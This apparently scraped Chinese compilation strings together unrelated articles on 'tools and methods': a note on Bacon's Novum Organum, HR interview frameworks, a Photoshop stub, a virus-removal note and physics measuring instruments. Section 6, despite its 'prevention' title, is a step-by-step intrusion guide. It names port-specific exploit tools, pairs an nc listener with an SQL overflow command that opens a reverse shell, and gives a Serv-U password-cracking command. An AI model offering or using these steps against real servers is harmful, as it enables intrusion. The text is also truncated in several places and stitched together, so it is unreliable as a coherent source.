下面是小编为大家推荐的读书笔记的常用工具和方法，本文共20篇，欢迎大家分享。
篇1： 《新工具》读书笔记
如果说培根的新工具所论述的观点已显得平淡无奇，那其实是因为他说的理论已如此的深入人心，几乎成了一般常识。但是在培根说出他的新理论时，他面对的是形而上学和神学统治的思想和学术界，以致于培根还一再重申，他之所以“标新立异”，不是觉得自己智力优于古人，而只是指出了一条新的路，所以，他申明自己不是智者，只是一个向导。
培根倡导重视科学实验，在实验的基础上归纳原理，在原理指导下进行更高更深入的实验，得出更普遍更一般更准确的原理，这基本上是从事学术研究的一般原则，相信很多人已非常熟悉，不过对于培根所处时代的学术界奉行的形而上学和神学原则，可能很多人并不了解。
在亚里士多德的形而上学体系中，学术研究的方法正好与培根所提倡的原则相反，他们只是对客观事实粗略一瞥，就开始建立理论体系，所以这个理论体系不免带有很多主观臆断，然后又用这个自洽但主观的理论体系矫揉造作地去解释客观事实。这样造成的后果有二：一是因为理论体系没有建立在客观事实基础上，导致理论是矫揉的、错误的、主观臆断的;二是，对于不符合理论体系的.客观事实，则用歪曲事实的方法去适应理论体系，这就压抑了进行科学研究的动力。亚里士多德在物理学、生物学等领域规定了很多形而上学的、错误的原则，诸如重的物体下落快，或者强壮的父亲会生下男孩等，这些原则并非建立在客观的实验上，而大多数是主观臆断，在亚里士多德的形而上学体系中，因为出于主观臆断，所以科学理论反而容易形成完备的自洽的体系，导致人们认为似乎已经掌握了终极的真理。
不过培根也指出了出现这种思想倾向的根源，从客观上讲，鉴于当时的研究手段的落后，人们不可能非常清楚的研究客观事实，只能凭主观臆断进行解释，所以势必造成形而上学。但更可贵的是培根也指出了主观方面的原因，培根认为“人类理解力依其本性倾向于作些抽象而赋予流逝的事物以一种本体和实在”，在没有完善的对客观具体进行研究的基础上，抽象将不可避免的导致主观臆断。
篇2：如何使用面试工具和方法
【知识讲解】
招聘面试是HR经理的一项重要工作内容，每个成功的经理人都必须具备高超的招聘面试技巧，使合适的人在合适的岗位上，创造岗位高绩效。
工具一：STAR原则，即Situation(背景)、Task(任务)、Action(行动)和Result(结果)四个英文单词的首字母组合。在对应聘人员进行面试的时候，不妨试试STAR原则。 STAR原则是面试过程中涉及实质性内容的谈话程序，任何有效的面试都必须遵循这个程序。在与应聘人员交谈时，首先了解应聘人员以前的工作背景，即所谓的背景调查(Situation)，然后着重了解该员工具体的工作任务(Task)都是哪些，每一项工作任务都是怎么做的，都采取了哪些行动(Action)，所采取行动的结果如何(Result)。
通过以上四个步骤，HR经理基本可以控制整个面试的过程，招聘到合适的人才。
SATR原则是经理招聘面试的一个好工具，里面蕴涵着大量的技巧，HR经理应该在招聘工作中不断摸索，提高能力。
工具二：职责清晰的6W1H原则
职责清晰是管理工作的基本准则，任何的管理都是从管理职位开始的。但是，在实际管理中，职责不清，权责不明的现象还大量存在。作为一个HR经理，必须对这个问题做更为深入的思考，有效地加以解决，使员工都能明确自己的职责所在。
要想使员工的职位说明书更加准确，职责更加清晰，经理就必须懂得6W1H这个重要的原则。所谓6W1H，即是：1. Who-工作的责任者是谁? 2. For whom-工作的服务和汇报对象是谁?3. Why-为什么要做该项工作?4. What-工作是什么?5. Where-工作的地点在哪里?6. When-工作的时间期限?7. How-完成工作所使用的方法和程序是什么?
只有对上述问题逐一做出了回答，员工才能对工作清楚，才更愿意负责，更敢于负责。
工具三：目标管理的SMART原则
实施目标管理不但有利于员工高效地工作，更是为绩效考核制定目标和考核标准，使考核更加科学化、规范化，更能保证考核的公开、公平与公正。制定目标看似一件简单的事情，但是如果上升到技术的层面，经理必须学习并掌握SMART原则。
所谓SMART原则，即是：1. 目标必须是具体的(Specific);2. 目标必须是可以衡量的(Measurable);3. 目标必须是可以达到的(Attainable);4. 目标必须和其他目标具有相关性(Relevant);5. 目标必须具有明确的截止期限(Time-based)。
无论是制定团队的工作目标还是员工的绩效目标都必须符合上述原则，五个原则缺一不可。制定的过程也是HR经理能力不断增长的过程，HR经理必须和员工一起在不断制定高绩效目标的过程中共同提高绩效能力。
工具四：有效管理的PDCA原则
所谓PDCA，即是计划(Plan)、实施(Do)、检查(Check)、调整(Adjustment)的首字母组合。无论哪一项工作都离不开PDCA的循环，每一项工作都需要经过计划、执行计划、检查计划、对计划进行调整并不断改善这样四个阶段。对HR经理来说，这是一个有效控制管理过程和工作质量的工具。采用PDCA可以使你的管理向良性循环的方向发展，通过实施并熟练运用，HR经理一定能在工作中不断提高效率，更加有效地驾驭工作。
工具五：经理职业化的MKASH原则所谓MKASH原则，即是：
1.动机(Motivation)：积极的动机对成功有巨大的激励性作用。人事经理应不断调整自己的心态，以积极的动机面对工作和挑战，不断激励与超越自我，在积极动机的引领下去实现所制定的目标和远景。
2.知识(Knowledge)：职业化必须以专业化为基础和背景。做任何一项工作，首先要具备的就是应对那份工作的专业知识，要做的好还得具备与其相关的其他知识，以形成完整的知识体系，支持工作的开展和拓展。
3.技能(Skill)：技能是经理赖以开展工作的必要手段。只有知识，没有技能，寸步难行。试想，一个经理如果不具备沟通的技能，怎么与人沟通，怎么开展工作?没有人际交往技能，怎么和下属建立和谐的人际关系?技能的锻炼应该提高到与知识同等的高度，不断将知识转化为能力。
4.行动(Action)：高效能的经理必须具备快速行动的能力，强劲的执行力。有的人方方面面都比较优秀，知识水平很高，能力很强，可就是做不出出色的工作业绩，原因就出在行动能力的欠缺上。汤姆彼得斯说，“快速制定计划并采取行动应该成为一种修养”。要想成为一个职业化的人才，就必须改掉犹豫不决，瞻前顾后，拖拖拉拉的办事作风，在自己认准的事情上认认真真地采取行动，用行动来证明一切，不断提高自己的执行力。
5.习惯(Habit)：习惯决定命运，这句话一点都不夸张。良好的习惯给人好的印象和感觉，能在很大程度上帮助你成功。职业化的人才必须具备良好的习惯，无论是生活还是工作，都要注意培养职业化的行为习惯，展现职业人风采。
【案例回放】
张磊前几天接到了来自心仪公司的面试电话，心情激动的张磊为了面试专门整理了自己的简历，想了很多可能遇到的问题，还特意找了件名牌衬衣，就希望能在面试中有出彩的表现。
.=“mso-special-character: line-break” />
可是还没开始正式面试，张磊就遇到了意料之外的问题，提前10分钟赶到公司的张磊，却被安排在一个会议室里等了很久，张磊虽然有点不耐烦，但想想对方既然是大公司，也还接受了。到了正式面试的时候，张磊越来越觉得不对劲，负责招聘的经理先是说张磊的简历不出彩，又说张磊过去的项目没意义，冰冷的态度让张磊感觉备受打击。
.=“mso-special-character: line-break” />
灰溜溜离开应聘单位的张磊感觉很不满，如果自己的能力不足，那公司为什么让自己去面试，而既然找自己面试，怎么还要如此的刁难，就算是所谓的压力面试，起码也要给求职者适当的尊重吧。张磊不明白到底HR是怎么了，难道企业文化就是这种刁难求职人员吗，如果真是这样，那企业怎么可能招到人才呢?
【案例解析】
.=“mso-special-character: line-break” />
就部分求职者反映的HR招聘态度问题，很多HR都给予了关注和回应。一位业内资深HR表示，首先这种情况的存在，的确会影响到公司的形象，但是对于HR来说，招聘并不是一件很容易的事儿。很多时候求职者会责怪HR没有认真看简历，但是做这一行的都知道，HR每天即使要看上百份简历，但也不会对任何一份简历有所敷衍，而是尽可能的把握每份简历中求职者的相关信息。在众多的简历之中，很多简历并不是符合职业需求的，跨专业求职无可厚非，但是想应聘财务出纳确把简历投到市场推广方面这样的行为，就让HR很无奈了。
HR：可不可以不再放我们鸽子
另外还有HR表示，很多求职者虽然着急找工作，但是真到了邀约面试的时候，却会发生各种状况。一些面试者口头答应面试，但是到了面试当天，却找各种理由说自己没时间，更有甚者直接连招呼也不打，HR苦等几个小时也见不到人的现象大有存在。相关调查显示，现阶段HR平均邀约成功率仅为3层左右，而且很多求职者对自身的定位并不是很明确，薪水、职位要求过高等现象也很多。
矛盾产生原因
专家认为，相关问题的产生主要在于：部分HR和求职者在招聘过程中，没有摆正心态，影响了双方的相互沟通。该专家谈到，既然目前存在着这样的问题，那首先说明HR的招聘工作和求职者的应聘行为，都出现了部分问题。
HR态度和技巧同样重要
从HR来说，的确有部分HR专业技能不精，在面试过程中总是想把求职者考住，出一些很难的问题让求职者来回答。这种行为从根本上来说没有把握招聘的要点，所谓招聘，第一是发现求职者的优点和能力，人无完人，每个人都有缺点，HR首先应该为求职者提供一个舒适的求职环境，让其能够更好的展现和发挥自身优点，通过这样的方式，来考量求职者所具备的优点和能力能否符合该职位的要求。如果一味地找不足，那么不但会打击求职者信心，同样也是舍本逐末，对于招聘工作的开展是没有帮助的。
求职者更应该摆正心态
对于求职者来说，如何摆正自己的心态是应该认真思考的问题。首先在投递简历之前，就应该对自己有一个全面的分析和规划，找准自己的目标和定位，然后有针对的制作和投递简历，不仅能够节省HR时间，同时对于自己获得下一步面试机会也是大有好处的。而在约定面试时间的时候，一定要根据自己近期的日常安排，给HR一个明确的答复。如果时间安排比较紧，可以和HR申请一下推迟面试的时间，而不是盲目的答应HR，但是到了面试日却让HR被放鸽子。虽然这种行为短期内对求职者来说没有什么影响，但是其关系到一个人的信誉问题，不管是应聘还是工作，都必须要本着一个对自己负责和对别人同样负责的态度。
换位思考才能相互理解
资深HR朱珍在接受采访时指出，不管是作为求职者还是企业HR，都应该保持正确良好的心态，学会换位思考。朱经理认为人力资源部门作为求职者与企业沟通的桥梁，是求职者最先了解企业各方面信息的窗口。因此HR作为企业代表，应时刻以企业大局观出发，维护企业形象，为员工和求职者做好窗口服务工作，是HR必备的意识。对于求职者来说，企业是陌生的，透过HR能了解和感受企业所传承的文化，HR在面试过程中所用的表达方式、体态表情等，都会直接影响到求职者对于企业的认知，在很多时候会直接影响到求职者热情度。因此，作为HR要明白你在面试过程中代表不是你个人而是整个企业，时刻注意自己的形象，保持应有的专业技能、良好的职业素养，才是作为一个招聘HR首先学会、而且是必须拥有的。
将心比心营造良好招聘求职环境
某集团高级招聘经理李易尘则谈到，作为HR，虽然不需要刻意去为求职者怎样做，但是也需要有一个公平公正的对待求职者的态度，也就是一视同仁的对待所有的求职者。
李总认为HR是企业给求职者的第一印象，大多数求职者到公司来求职面试，最先接触的肯定是人力资源，如果HR能够给求职者留下一个好印象，那求职者会对我们所在的企业留下一个好印象，无论面试结果成功与否，起码不会因为我们的工作而影响到企业的声誉。
如果HR在接待求职
[如何使用面试工具和方法]
篇3：3.12 如何使用面试工具和方法？
问题：
“八仙过海，各显神通”，如何面试，是否会借助一些专业的面试工具或采取一些专业的面试技巧和方法，怎么运用，相信不同的企业和HR都有自己的一套。那么，请问：
1、你常用的面试工具和方法有哪些?
2、具体是怎么操作的?效果如何?
我的回答：
1、之前常用方法是结构化面试和非结构化面试结合，偶尔用过无领导小组讨论的方法。
2、可以说，这些方法是我用野路子自己总结的，后来上了人力培训班之后才知道我之前做的一些是结构化面试。
因为公司的特点，招聘一般都是应届或刚毕业一两年的年轻人，而且工作挑战性也不是太强，所以主要就是使用结构化面试。
招聘之前筛选简历通知候选人面试后，先预览简历，对其中不明或有特点的地方进行标记，面试中会根据问题和他的回答进行连续发问，一般这种情况下，真假就容易辨别出来。
因为招聘的人员相对来说没有经验，所以考察重点则是性格、口表能力、连续发问压力下的状态以及和职位相关的专业知识等。
来到新单位一年多，工作重点在行政、宣传和绩效等方面，很少参与招聘，希望以后能够有机会接触更多高层次人才的招聘。
牛人打卡：
风十三：常用的面试方法有结构化面试法、BEI行为事件法{STAR法则，即在什么样的背景(Situation)下，接到什么样的任务(Task)，采取了怎样的行动(Action)，取得了怎样的结果(Result)}、无领导小组讨论法、公文筐测试等。
HR实施面试成败的关键，重要的还是在于你有没有把岗位任职资格和核心胜任力吃透，
lzy680908：
1、 面试中高层管理应聘者时：
(1)侧重考查要素：依据JD任职条件，对专业背景，计划、沟通、协调、创新能力，性格稳定性，团队管理能力，文件筐等方面进行重点考查。
(2)量化测评：依据素质评比表(CRT)进行N个要素(含权重)进行面试给分，优秀1分，良好0.8，合格0.6，一般0.4，不合格0分，将得分进行汇总。
(3)定性测评：对面试者从业稳定性、身体健康状况、表达写作能力、个人魅力、工作业绩、职业规划、相关职位工作经验等方面进行定性评价，考查其与公司要求的相关性。
(4)薪酬交流：在面试最后，一定要进行薪酬、福利、话补、车补、五险一金等各方面工资福利进行交流，以相互交换意见，能达成一致意见最好，也可以相互留有一定时间或幅度进行考虑后再行交流。
(5)择优选择：通过以上考查和交流后，再进行适当背景调查，选择与JD要求和条件最为适合的为该职位最合适对象，如果存在某些方面严重不适合情况，也不能录用，可选择次优应聘者或重新组织下次应聘面试，再选择合适对象。
2、面试基层管理应聘者时：
进行相关从业经验、专业、工作业绩、表达写作能力等面试，然后进行适当的理论或实践操作，结合面试时工资福利等情况，就基本够有了公司的选择。
我觉得，基层管理者的面试相对简单些，主要考查其是否存在虚假信息。
3、面试技术研发应聘者时：
主要依据JD考查其胜任该岗位的技术研发能力，这需要通过理论测试、实际操作、背景调查等组合拳来检测，需要公司有此专业能力的技术能手共同参与，其他如表达能力、沟通协调能力等作为次要考查项，当然薪资福利也是重要谈判的。
4、面试市场销售应聘者时：
主要面试其销售或服务的细分市场、任务量及完成情况、公司在行业的地位、有什么销售心得或新做法等。
值得注意的是，有一定能力的销售或市场服务人员综合素质是很高的，在面试时要把握好自己的位置，否则容易被他们的思维牵着走，反而让面试者成为被动。
5、面试普工应聘者时：
普工主要考查其生活、工作中吃苦耐劳的精神和实际例子，必要时可观察其手形状、表情、眼神等，从中可以看出是否有真挚、爽真、简单、服从的成分，可以考查是否有做普工的经历，如果有类似行业的经历当然更受欢迎。
6、面试所有应聘时共用方法：
(1)真诚欢迎。
(2)公平对待。
(3)态度第一。
红尘醉弥勒：
第一阶段之心理战：结构化面试，考验耐心
第二阶段之持久战：运用STAR法，打破砂锅问到底
第三阶段之攻坚战：案例分析法，留下买路财
第四阶段之阵地战：做一名合格的外交官
拼命十三妹：
1、笔试和操作测试
一般通过测试题或者操作测试来考察应聘者的专业知识或者技能是否符合岗位要求。
1)纸笔测试：大公司简历多，可以用基本的性格等测试做第一轮筛选，小公司如不太建议。如果是专业知识型的岗位，例如会计等岗位，可以用专业知识测试题。时间控制在1-2小时之内。如果是知识性的测试题，可以采用纸笔测试，这样应聘者在做题时修改的痕迹和整体答题情况都能看到很清楚，能通过字迹等了解到应聘者的答卷用心程度和思考过程。
例如，我们招聘翻译人员，会要求其在2小时内完成翻译题的纸笔测试。
2)上机操作测试：这个面试方法适用于一些需要直接用到操作机器或者电脑的岗位。做这个操作题时，建议用一些实际工作中遇到的问题来给应聘者做测试，考察其工作效率和质量。
例如，我们招聘排版人员，会要求其用电脑操作完成一个OFFICEINDISIGN的排版题目。
2、面谈：通过直接面谈的方式来对应聘者的专业背景、工作经历、教育经历、求职动机、价值观等进行考查其与岗位要求的匹配度。
1)结构化面试：主要步骤分为寒暄引入话题、结构化面试、应聘者提问、结束面试。可以用到STARBEI的方法来面试。我们不管在做任何岗位的面试前，都会有详尽的职位说明书和胜任素质来指导这个面试。例如招聘一个人事专员，需要考察的维度有沟通能力、专业知识、组织能力等，那么相应的面试问题都会围绕这几块来设计。面试官拿到简历后马上面试随便问几个工作经历、离职原因等问题打发了事这种情况是不允许发生的。面试官事先熟悉岗位要求和简历非常重要，否则应聘者随便说几个业务数据，你也无法分辨是否是假。
例如，我们为了考察一个行政专员的组织能力，可以假设要求其组织一个春游活动，并提出方案和思路。
例如，我们为了看一个招聘主管之前的工作经历，要求其描述组织策划过的校园招聘方案，并追问其在其中做了什么、结果是什么、有哪些需要改善的等等。
2)压力面试：
如果是销售、管理人员等压力型岗位，建议可以用压力面试来做，压力面试绝对不是问几个让应聘者难堪的问题，而是通过提问节奏、提问内容、提问方式等来制造压力的。
压力面试要求面试官有几个能力：
1、推理能力：面试官会问很多关于业务数据或者细节问题来考察应聘者是否在说谎。
例如，我们在面试有工作经验的销售岗位时，问应聘者之前工作每个月提成是多少，然后通过问应聘者的实际业绩和KPI来推论这个提成是否属实;
例如，我们也会问一些质疑的问题。例如说“你之前的工作经历说明你在这一块是非常专业的，但是你刚刚的回答却让我对你很失望，我觉得你是不适合这个岗位的”，看应聘者在这种情况下作什么反应;面试官也可以在应聘者回答问题以后保持沉默，看应聘者如何继续回答问题。
2、亲和力：面试官在问问题的时候，绝对不是通过强势的态度来让应聘者感到压力，而是应该通过连续追问的方式来让应聘者快速反应，看下应聘者在压力下是否会感到不适和逻辑混乱。
例如，我们会在压力面试后应该告诉应聘者刚才用的是压力面试，仅仅是一种面试方法，让应聘者不要因此而对公司感到反感。
3、无领导小组讨论
无领导小组讨论，适用于与人打交道比较多的工作，可以考察应聘者的沟通能力、团队能力、逻辑思维能力等等。例如应届生校园招聘、销售岗位等，如果是技术性岗位和高级管理岗位，不太建议用这种方式来做面试。在做这种讨论时，最好有2个以上面试官观察同一个应聘者，以便事后做比较讨论。
例如，我们在招HR专员时，会用到这个方法，在讨论过程中，面试官会关注引导整个讨论的应聘者、在关键时刻打破僵局者、最后发言做特别的补充者等等，讨论后是挑选发言最出彩的应聘者进入第二面，还是挑选其中做补充发言起协调作用的应聘者进入第二面，取决于岗位需求。
4、文件筐
文件筐适用于高级管理岗位，做这个文件筐需要对岗位的需求非常了解，最好有胜任素质模型来支撑，面试官也必须有非常丰富的经验。
例如，我们招聘HR总监，会拿出实际工作中总监会遇到的各种文件，要求其在一定时间内处理完毕，并说明这样处理的原因;或者我们假设一个情景，需要召集各部门开紧急应对会议，要求应聘者主持并召开这个会议，看其如何实际解决问题。
5、心理测量
现在市面上流行一些心理测验，例如职业性向测试等，也有一些趣味性的心理小测试，通过一些行为细节来观察应聘者，一般的岗位不太建议用这个，个人认为这些测试的信度和效度都比较低，题目的误导性都比较强，应聘者完全可以根据岗位需求来选择答案。如果是高层管理岗位需要用到心理测验方法，建议用笔迹分析和图画测验来考察应聘者的性格特质和成就动机等。
例如，可以要求应聘者画一棵树，通过这棵树来分析应聘者的潜意识等。这个需要专业人士来操作，一般HR可以多看看这方面的书，不作为主要面试方法，作为辅助观察手段之一还是可行的。
6、HR简易相人之术
其实很多人都会有自己一些说不清道不明的简易相人之术，越高级的职位这个方法用得越多。HR可以多参考其他书籍看看，越到高层，面试需要具备的综合能力就越强。
面试常见误区：
1、很多
[3.12 如何使用面试工具和方法？]
篇4：PS切片工具方法简单介绍
在本教程中朋友们将阅读到PS切片工具实用方法简单介绍，教程介绍的方法比较实用，对于开网店等的朋友会比较有用，喜欢的朋友快来学习一下吧！
FEVTE编注：更多PS教程讨论交流和PS作品请到论坛PS交流区，地址：bbs.fevte.com/forum-51-1.html
FEVTE编注：更多PS教程讨论交流和PS作品请到论坛PS交流区，地址：bbs.fevte.com/forum-51-1.html
篇5：工具
工具
工具gōng jù[释义]①（名）基本义：进行生产劳动时所使用的器具；如锯、刨、犁、锄。劳动要使用～。（作宾语）
②（名）比喻用以达到目的的事物。语言是人们交流思想的～。
[构成] 偏正式：工（具篇6：的几种入侵方法及工具防范
实用的几种入侵方法及工具防范!
1. 1433端口入侵
scanport.exe 查有1433的机器
SQLScanPass.exe 进行字典暴破（字典是关键）
最后 SQLTools.exe入侵
对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。
nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口
（以上反向的，测试成功）
sqlhelloz.exe 入侵ip 1433 （这个是正向连接）
2. 4899端口入侵
用4899过滤器.exe，扫描空口令的机器。
3. 3899的入侵
对很早的机器，可以试试3389的溢出(win3389ex.exe)
对的机器，可以试试字典暴破。(tscrack.exe)
4. 80入侵
对sp3以前的机器，可以用webdav入侵；
对bbs论坛，可以试试上传漏洞（upfile.exe或dvup_delphi.exe）
可以利用SQL进行注入，
（小榕的注入软件）。
5. serv-u入侵(21端口）
对5. 004及以下系统，可用溢出入侵。（serv5004.exe）
对5.1.0.0及以下系统，可用本地提升权限。（servlocal.exe）
对serv-u的MD5加密密码，可以用字典暴破。（crack.vbs）
输入一个被serv-u加密的密码（34位长），通过与字典档（dict.txt）的比较，得到密码。如：cscript crack.vbs ib0AD10648F17E9E8D1FF316C1BA75105A
6. 554端口
用real554.exe入侵。
7. 6129端口
用DameWare6129.exe入侵。
8. 系统漏洞
利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞
进行溢出入侵。
9. 3127等端口
可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）。
10. 其他入侵
利用shanlu的入侵软件入侵（WINNTAutoAttack.exe）。
篇7：downloader病毒的清除方法和清除工具
这种病毒是爱情后门变种AN（Worm.Mail.LovGate.an）病毒：蠕虫病毒，通过邮件/局域网传播，依赖系统：WIN9X/NT/2000/XP，病毒运行后，会复制自身到每个盘的根目录，文件名为command.com，然后修改autorun.inf文件，这样会大大增加病毒的运行机会。修改注册表实现随系统启动，结束多种反病毒软件的运行，
病毒会把自己大量拷贝到本地硬盘上，产生大量垃圾文件，严重浪费硬盘空间。病毒文件名都是比较有诱惑的名字，如：CloneCDcrack，StarWarsDownloader.exe，AdobePhotoshop6.0.zip.exe等等。
杀毒建议：开机按F8进入安全模式下删除，然后使用诺顿最新病毒库先杀第一次病毒，然后再使用专业软件查杀，确保万无一失！
专杀软件推荐:NVCCTrojan-Downloader.Win32.VB病毒专杀工具1.0.0.22
专杀工具下载
篇8：初中物理实验方法与工具
初中物理实验题分类与解题方法
一、测量型实验
初中物理测量型实验主要有直接测量型和间接测量型两种，共15个实验，这些是中考物理实验测试必不可少的组成部分。
1.直接测量型实验共10个实验：
⑴用刻度尺测长度，
⑵用秒表测时间，
⑶用量筒测固、液体的体积，
⑷用水表测家庭自来水使用量，
⑸用天平测物体的质量，
⑹用温度计测水的温度，
⑺用弹簧测力计测力的大小，
⑻用电流表测电流，
⑼用电压表测电压，
⑽用电能表测电功的大小。
直接测量型实验主要针对一些常用物理测量工具的使用方法、读数方法等，而这些知识和能力在课堂教学中已逐步渗入，常用物理测量工具的共性都需要看量程、分清分度值。所以只要掌握好其一，便可基本无碍。
2. 间接测量型实验共5个实验：
⑴用刻度尺、秒表测平均速度，
⑵用天平、量筒测物质密度，
⑶用刻度尺、弹簧测力计测滑轮组的机械效率，
⑷用电流表、电压表测电阻，
⑸用电流表、电压表测小灯泡的电功率。
这五种实验都涉及到诸多的物理测量工具的使用，
也同时具有相应的实验原理：
⑴物体通过的某段路程或某段时间的平均速度测量实验原理是v=s/t，
⑵测物质密度的实验原理是ρ=m/v和排水法，
⑶测滑轮组的机械效率实验原理主要是η=W有/W总、W=F·S及二力平衡，
⑷测电阻的实验原理是欧姆定律I=U/R的推导式R=U/I，
⑸测小灯泡的电功率实验的原理有两种，
①伏安法的实验原理即为P=U·I，
②电能表、秒表测电功率实验的原理即为P=W/ t。
解决此类题时，一定要细心，确保基本的物理测量工具的使用、读数不出错。同时还应注意题意的局部拓展性变化。近年来各地的中考物理测量型实验在这类题中变化较多，要格外注意。
二、探究型实验
新课程改革的一个目标就是学生探究精神的培养，所以现行各种教材中探究型的课题每个章节都有渗透。探究型试题也已成为当今中考必考类型试题，而且这类试题大都紧密联系着我们的生活实际。初中物理探究型实验一般按教材内和教材外分为两类。
1.不同版本的教材内物理探究型实验共计有14个实验：
⑴探究物质的一种属性——密度，
⑵探究平面镜成像特点，
⑶探究凸透镜成像规律，
⑷探究摩擦力的大小与什么有关，
⑸探究运动和力的关系，
⑹探究液体压强的特点，
⑺探究杠杆平衡条件，
⑻探究动能(重力势能)大小与什么因素有关，
⑼探究物质比热容，
⑽探究影响电阻大小的因素，
⑾探究不同物质的导电性能，
⑿探究电流与电压、电阻的关系，
⒀探究电流热效应，
⒁探究电磁铁磁性强弱的因素。
2. 不同版本的教材外物理探究型实验包括新课改以来物理课外读物上设计的探究活动和各地中考试题中出现的，
其中最常见的有：
⑴探究水果电池电压与哪些因素有关，
⑵探究篮球反弹的高度与哪些因素有关，
⑶车辆滑行的距离与哪些因素有关，
⑷探究物体承受的压力与哪些因素有关，等等。
物理科学探究活动一般有7个主要环节，
依次是
⑴提出问题，
⑵猜想与假设，
⑶制定计划与设计实验方案，
⑷进行实验和收集数据，
⑸分析论证，
⑹评估，
⑺交流与合作。
各地的中考命题针对这一知识点在各个试题上有着不同程度的偏重，也不可能面面俱到地进行考查，这也就给命题带来了多个角度的可能性。
比如同是考查凸透镜成像规律，但由于考查的环节或是角度不同，考查的方式也就明显不同，因此在平时的教学中，要尽可能的引导学生对每个知识点、每个环节要做到理解和掌握。新课程改革以来，各地中考命题中涉及不同版本教材外的物理探究实验逐年在出新。
但纵观其考查内容，大都来源于学生生活实际，并且所考核的方法和能力都是学生应了解和掌握的。所以在对学生进行应考技巧的教育引导中，提醒学生对此不要产生心理上的障碍，只要抓住应用得当的方法，一般都能轻松解决。
探究型实验试题的解题方法强调应用性和开放性，突出物理知识的应用，强调灵活运用物理知识解释试题呈现的问题，故而在解答时，可附助已有的知识和结论，对试题所考查的内容和能力，做出正确的解答。当然中考命题并不会只局限于已有知识的得出，往往可能会更注重探究过程的考查，因此解答此类试题时千万不要急于求成，而要体会出试题考查的方向，也就会从容应答。
三、开放、设计型实验的特点及解题技巧
⑴物理开放题是指题设条件不确定、解题方法多样化、答案不唯一的题目。这些试题或条件开放、或策略开放、或结论开放，可谓千姿百态。通过求解这一类问题，可以激发学生的求知欲，提高学习兴趣，考查学生发散思维能力和创新能力。因此，在一些中考试卷中，出现了一批立意和情景新、耐人寻味的开放型试题，它们成为试卷中的亮点，格外引人注目。
题设条件开放型实验题，一般特点是条件多余或隐含，求解问题不指明;解题策略开放型实验题，主要特点是解答方式不统一，方法多样化;待求结论开放型实验题的主要特点是结论不唯一，答案形式多样化。
解决此类问题，要求教师在平时的实验教学中，引导学生在日常生活中做个有心人，留心观察各个演示实验及其日常化的实验器材，灵活运用物理知识，充分挖掘题目中的隐含条件，准确把握实验的意图和原理。
⑵设计型实验题是指根据实验目的和要求，设计研究方案，运用不同于教材或试题要求的实验方法解决同一物理问题，此类题综合考查学生观察实验，运用所学的理论知识进行综合分析、归纳等能力，有一定的难度。近年来此方面的试题陆续增加并延伸到我们的生活周围之中，命题也已不局限于对教材已有实验的新设计。
解答设计型实验时，首先要明确试题所需要解决的问题，然后结合教材所学相关知识和设计，进行分析和比较，从中发现其异同之处，从而进行创造性的变更和设计，在这种情况下一般问题都会得到解决。
初中物理实验测量工具使用方法总结
一、刻度尺用途：测量物体的长度。
使用前做到“三看”：看零刻度线是否磨损;看清量程、看清分度值。
刻度尺的使用时要做到“六会”：
会选：根据被测物体的长度选择合适的刻度尺;
会放：应使刻度尺的零刻度线或某条(整数)刻度线与被测物体的一条边对齐，把刻度尺的一边尽可能与被测物体重叠或平行，不能歪斜;
会看：读数时，视线应与刻度垂直;
会读：除读出最小刻度以上各位数字外，还应估读到分度值下一位;
会记：记录的测量数据，包括准确值、估读值和单位(没有单位的数值是毫无意义的)。
会算：多次测量求平均值可减小误差，最终结果要和记录数据保持一致。
二、机械停表用途：测量时间。
构造：如图A是启动、停止按钮;B是回零按钮;C是分钟刻度：读取整分钟数(包括半分钟);D是秒钟刻度(读取秒数)
使用方法：使用停表前首先要上好发条，按压启动按钮，表启动，再次按下该按钮，秒表指针停止转动，按压回零按钮，分针与秒针都归零。
读数方法：首先读出小刻度盘中的整分钟数(包括半分钟)，然后读出大刻度盘的秒刻度数，将两个读数统一单位后先后相加即得最后读数。
三、温度计用途：测量温度。
在使用温度计之前,应首先观察它的量程是否符合实际要求，否则需更换一支量程合适的温度计;其次要认清它的最小刻度值，以便于读数。
用温度计测液体温度的正确方法是：(l)温度计的玻璃泡全部浸入被测的液体中,不要碰到容器底或容器壁。
(2)温度计玻璃泡浸入被测液体后要稍候一会儿，待温度计的示数稳定后再读数。
(3)读数时玻璃泡要继续留在被测液体中，视线与温度计中液体的上表面相平。
四、托盘天平用途：测量物体质量。
托盘天平的构造：(1)底座 (2)标尺 (3)平衡螺母(4)横梁(5)托盘 (6)横梁刀口(7)指针 (8)分度盘 (9)游码。
另外，天平还有配套的砝码盒。
使用方法及注意事项
(1)天平要放置在水平的桌面上。游码要归零。
(2)调节平衡螺母，使指针对准分度盘中央刻度线。
(3)左托盘放称量物，右托盘放砝码。砝码要用镊子夹取，添加时从估计称量物的最大值加起，逐步减小。加减砝码并移动标尺上的游码，直至衡量平衡。物体的质量 =砝码+游码。
(4)称量干燥的固体药品粉末时，应在两个托盘上各放一张相同质量的纸，然后把药品放在纸上称量。
(5)液体、潮湿的物品或具有腐蚀性的化学药品必须放在玻璃器皿里称量。
五、量筒用途：测量液体的体积，间接测量固体的体积。
量筒的使用：使用前要看清量程和分度值;测量体积时，要把量筒放在水平的桌面上，读数时视线要与量筒刻度垂直。若是凹液面，应以凹液面的最低处为准;若是凸液面，应以凸液面的最高处为准。
六、弹簧测力计用途：测量力的大小。
原理：在弹性限度内，弹簧的伸长跟受到的拉力成正比。
使用方法
(1)使用前要看清量程和分度值;
(2)使用时首先要“校零”，即使指针对准“零刻度线”;
(3)应使弹簧的伸长方向与拉力的方向在同一条直线上;
(4)读数时视线要垂直刻度板。
七、电流表用途：测量电路中电流的大小。
使用前做到“两看清”—看清量程和分度值。实验室常用的电流表,它由两个量程(3A和0.6A),量程为“3A”时，刻度盘上的每个大格表示lA，每小格表示0.lA;量程为“0.6A”时，刻度盘上的每个大格表示0.2A，每个小格表示0.02A。
使用电流表时应注意：
(1)电流必须从电流表的正接线柱流入，从负接线柱流出，否则，表针将反偏;
(2)被测电流值不能超过电流表的量程，实验室用的电流表有两个量程，分别是0-0.6A和 0-3A;
(3)电流表串联在电路中使用;
(4)绝对不能直接把电流表接在电源上。
八、电压表用途：测量电路两端电压的大小。
